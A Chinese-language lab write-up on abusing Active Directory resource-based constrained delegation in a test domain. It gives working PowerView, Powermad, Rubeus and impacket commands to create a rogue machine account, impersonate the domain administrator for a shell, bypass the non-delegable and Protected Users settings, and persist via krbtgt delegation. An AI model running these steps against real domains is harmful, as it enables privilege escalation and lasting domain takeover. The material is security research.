前言
这篇文章原本是前几天就开始写(水)了,结果我们老师叫我们把2K字的社会实践报告重写一篇,结果拖了两天QAQ。言归正传,前几天看了A-Team的公众号上发了一篇文章《微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)》以及Elad Shamir
大佬的文章,看完之后自己也去搞了一下,踩了一点小坑,下面记录一下。
基于资源的约束委派利用
基于资源的约束委派(Resource-based constrained delegation),它除了不再需要域管理员权限去设置相关属性之外,请求ST的过程是和传统的约束委派大同小异,原理我之前也在这篇文章说过了,所以关于原理这部分我这里就不多赘述了,不过还要注意一点就是传统的约束S4U2Self返回的票据一定是可转发的,如果不可转发那么S4U2Proxy将失败;但是基于资源约束委派不同,就算S4U2Self返回的票据不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成功,并且S4U2Proxy返回的票据总是可转发。如果还想更深入了解的话可以看Elad Shamir
的这篇文章《Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory》,这篇文章可以说是总结得非常全
利用条件:简单来说就是你获得的用户对该主机的属性具有写权限,那么这个用户就可以对该主机进行攻击
利用环境:
- 域:test.local
- 域控为:dm2012.test.local,Windows Server 2012R2
- 目标主机:dm2008.test.local,windows Server 2008R2
- 用户:qiyou,对dm2008.test.local主机具有写权限
- 其它域内主机:win10
验证qiyou这个用户对dm2008是否具有写权限,可以使用PowerView枚举DM2008.test.local
的中的特定ACE
1 | Get-DomainUser -Identity qiyou -Properties objectsid |
可以看到qiyou这个用户对dm2008这个计算机账户拥有完全控制权限(GenericAll),其实也不一定需要GenericAll
权限,GenericWrite
、WriteProperty
、WriteDacl
等等权限都是可以修改账户属性的。
我们现在还需要的是一个具有SPN的账户,因为S4U2Self
只适用于具有SPN的账户,恰好的是在域中有一个属性MachineAccountQuota
,这个值表示的是允许用户在域中创建的计算机帐户数,默认为10,这意味着我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户,而计算机账户默认是注册RestrictedKrbHost/domain
和HOST/domain
这两个SPN的,所以这里刚好符合我们的意图。
我们可以使用Kevin Robertson
的Powermad
中的New-MachineAccount
来创建一个用户名为evilsystem
,密码为evil
的计算机账户
1 | New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "evil" -AsPlainText -Force) |
可以看到成功创建一个计算机用户evilsystem
下面是修改DM2008的msDS-AllowedToActOnBehalfOfOtherIdentity
属性的值,有两种方法可以修改,Powerview
或者ActiveDirectory
模块
配置evilsystem到DM2008的基于资源约束的委派
1 | $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-662417213-3583657854-423750704-1115)" |
还要注意一点的就是,msds-allowedtoactonbehalfofotheridentity
属性的值是表示安全描述符的字节数组,所以是不能直接使用字符串型,否则会出现约束冲突的情况。
验证是否成功添加
1 | Get-DomainComputer DM2008 -Properties msds-allowedtoactonbehalfofotheridentity |
若想清除msds-allowedtoactonbehalfofotheridentity属性的值,可用如下命令:
1 | Set-DomainObject DM2008 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose |
通过ActiveDirectory
模块添加:
只有Windows Server 2012以及以上的
ActiveDirectory
模块才有-PrincipalsAllowedToDelegateToAccount选项
1 | Set-ADComputer DM2008 -PrincipalsAllowedToDelegateToAccount evilsystem$ |
ActiveDirectory
模块默认只在域控上安装,如果不是域控可以从域控上把DLL文件复制出来,然后导入即可
1 | import-module Microsoft.ActiveDirectory.Management.dll |
配置完msDS-AllowedToActOnBehalfOfOtherIdentity
属性之后就可以通过基于资源的约束委派去攻击目标主机了
现在是无法访问dm2008的
因为Rubeus是不支持明文的,所以先把它转换为hash
1 | Rubeus.exe hash /user:evilsystem /password:evil /domain:test.local |
然后用evilsystem$
的hash请求白银票据并导入到当前会话中
1 | Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt |
导入之后尝试访问dm2008
但是Rubeus申请的票据和impacket申请的缓存票据貌似还是有一丝的差别,这里用Psexec返回一个shell启动服务失败
因为PsExec是通过服务和命名管道来返回一个shell的,所以这里尝试直接创建一个服务,发现是没有权限创建服务的
但是我额外申请了一个HOST票据之后,就正常了。。。。。
注: 但是如果你只是申请HOST票据,而没有申请CIFS票据的也是不能正常返回一个shell的,原因不明
1 | Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:host/dm2008 /ptt |
将该票据导入之后就可以成功返回shell
整个过程如下
但是如果你是使用impacket套件请求的缓存票据的话,直接CIFS服务就可以了,排除是PsExec的问题这里使用了impacket套件的psexec.py和微软的Psexec.exe做对比
所以总的来说,如果你是用Rubeus你就得申请两个服务票据:HOST和CIFS,如果是用impacket套件的话就申请个CIFS就可以了。
至于具体原因暂时还不清楚,抓包也没有看出啥原因,这里先留一个坑,有时间再去研究一下。。。
解决敏感用户不可委派的问题
利用条件:知道目标的主机账户的凭证
注: 一般情况下主机在加入域中会随机设置主机账户的密码,所以一般情况下用的是主机账户hash,并且你是不能修改主机账户的密码,否则该主机就会和域失去信任。
在域环境中,高权限用户如果没有特殊需求的情况下,考虑到安全性一般是设置为不可委派,或者是加入受保护组
下面我们把administrator设置成不可委派以及加入受保护组,如图
可以看到administrator是不可委派并且是受保护组的成员
注: 我看Elad Shamir
的文章里面说需要设置目标自身的委派,但是我在实现的过程中发现不设置也是可行的。
这时候我们在通过s4u去申请一下票据,这个时候S4U2self
是成功的,但是S4U2proxy
是失败的
1 | Rubeus.exe s4u /user:dm2008$ /rc4:b5cffac3d2bb5d5a7ded8ff2a70c29dc /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt |
也就是说账户不可委派以及受保护组的成员是不影响S4U2Self的,可以使用Rubeus describe
查看一下S4U2self返回的票据信息,可以看到该票据是没有服务名称的,并且不可转发
注: 如果该账户设置了TrustedToAuthForDelegation
为True,则S4U2Self生成的票据是可转发的,默认为False。详情看Elad Shamir
文章的这一节:A Misunderstood Feature #1
因为是服务名称缺失,所以用ASN.1 Editor将票据修改一下即可,具体参考这两篇文章:链接1、链接2
把SPN添加上即可
修改之后将其导入即可
HOST票据同理改一下即可,改了之后导入即可得到一个shell,
整个过程如下:
修改票据的过程貌似有点繁琐是吧,harmj0y
之前就考虑了这一点,所以在Rebeus加入了一个模块可以直接修改票据的SPN,命令如下:
1 | Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/ptt] [/luid] |
我们上面的过程可以直接省略为:
1 | Rubeus.exe tgssub /ticket:test.kirbi /altservice:cifs/dm2008 /ptt |
如下:
利用基于资源的约束委派进行域权限维持
这个就不用我多说了,上面的过程能理解的话这应该可以理解,主要有两种方法:
- 配置evilsystem到krbtgt基于资源的约束委派
- 配置evilsystem到域控基于资源的约束委派
这里就以第一种方法为例,下面配置evilsystem到krbtgt基于资源的约束委派
1 | $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-662417213-3583657854-423750704-1115)" |
尝试是否可以请求到TGT
1 | Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:krbtgt /ptt |
然后利用S4U2proxy
返回的TGT去申请一张访问域控cifs服务的ST
1 | Rubeus.exe asktgs /user:evilsystem$ /enctype:rc4 /service:cifs/dm2012 /domain:test.local /ticket:test.kirbi /ptt |
Rubeus一个一个请求票据有点小麻烦,直接用impacket套件会快一点
成功达到了域权限维持的效果
下面展示Rubeus和impacket套件两种方法的利用的过程:
End
更多的利用场景可以参考Elad Shamir
的那篇文章。最后,非常感谢Elad Shamir
以及A-Team分享的文章,学到很多
Reference
Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory